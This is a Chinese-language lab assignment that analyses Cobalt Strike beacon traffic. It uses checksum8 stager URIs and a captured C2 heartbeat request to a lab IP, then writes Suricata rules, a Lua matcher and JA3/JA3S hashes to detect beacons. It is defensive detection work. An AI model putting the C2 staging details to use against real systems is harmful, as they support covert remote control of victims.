CS后门源码特征分析与IDS入侵检测考核作业

上线x64

getshell

抓心跳包，对特征字符解密Uqd3

用java的checksum8算法得到93，说明是x64的木马

public class EchoTest {
public static long checksum8(String text) {
if (text.length() < 4) {
return 0L;
}
text = text.replace("/", "");
long sum = 0L;
for (int x = 0; x < text.length(); x++) {
sum += text.charAt(x);
}
return sum % 256L;
}
public static void main(String[] args) throws Exception {
System.out.println(checksum8("Uqd3"));
}
}

再上线一个32位的木马

抓心跳包

GET /7sy9 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0)
Host: 192.168.225.128:2222
Connection: Keep-Alive
Cache-Control: no-cache

再算一下发现是92，是一个32位的木马

心跳包解密：

看报错缺了依赖，pip install xxxxx下好

win+r cmd使用命令netstat -ano，查看被控端的连接

看到有2222端口，再去看wireshark的流量，过滤这俩的流量包，找到uid，就能找到伪装的exe木马

# suricata规则
# http-beacon-staging，向c2服务器发起get请求，下载大小约210kb的stager，请求地址符合
checksum8规则
# 调用lua检查uri是否符合checksum8规则：计算uri的ascii之和并与256做取余计算，余数为92则符合
规则
alert http any any -> any any (gid:3333; sid:30001; rev:1; 	msg:"http-beacon-checksum8-path-parse"; 	classtype: http-beacon; 	flow: established, to_server; 	urilen:4<>6; 	luajit:checksum8_check.lua; )
# checksum8_check.lua
function init (args)
	local needs = {}
	needs["http.uri"] = tostring(true)
	return needs
end
function match(args)
	local uri_raw = tostring(args["http.uri"])
	local uri = string.sub(uri_raw, 2, -1) -- 去除uri中的"/"
	local sum = 0
for i=1,#uri do
	local x = string.sub(uri,i,i)
	sum = sum + string.byte(x)
end
	if (sum % 256) == 92 then
		return 1 -- 符合checksum8规则，匹配成功
	else
		return 0 -- 不符合checksum8规则，匹配失败
	end
end

创建一个http的规则文件，命名位cshttp将规则写入

然后放入suricata的规则文件夹之中运行之后再查看日志

之后再生成一个https型的后门，先创建一个新的监听器

再生成一个可执行的恶意文件

之后在物理机中运行用wirehshark进行流量监测可以发现JA3码具有明显的特征

编写规则文件

# https-beacon-ja3指纹，client-hello
alert tls any any -> any any (gid:6666; sid:30005; rev:1; 	msg:"https-beacon-ja3-hash"; 	classtype: https-beacon; 	ja3.hash;
pcre:"/652358a663590cfc624787f06b82d9ae|4d93395b1c1b9ad28122fb4d09f28c5e|72a589d
a586844d7f0818ce684948eea|a0e9f5d64349fb13191bc781f81f42e1/"; )
# https-beacon-ja3s指纹，server-hello
alert tls any any -> any any (gid:6666; sid:30006; rev:1; 	msg:"https-beacon-ja3s-hash"; 	classtype: https-beacon; 	ja3s.hash;
pcre:"/fd4bc6cea4877646ccd62f0792ec0b62|15af977ce25de452b96affa2addb1036|b742b40
7517bac9536a77a7b0fee28e9/"; )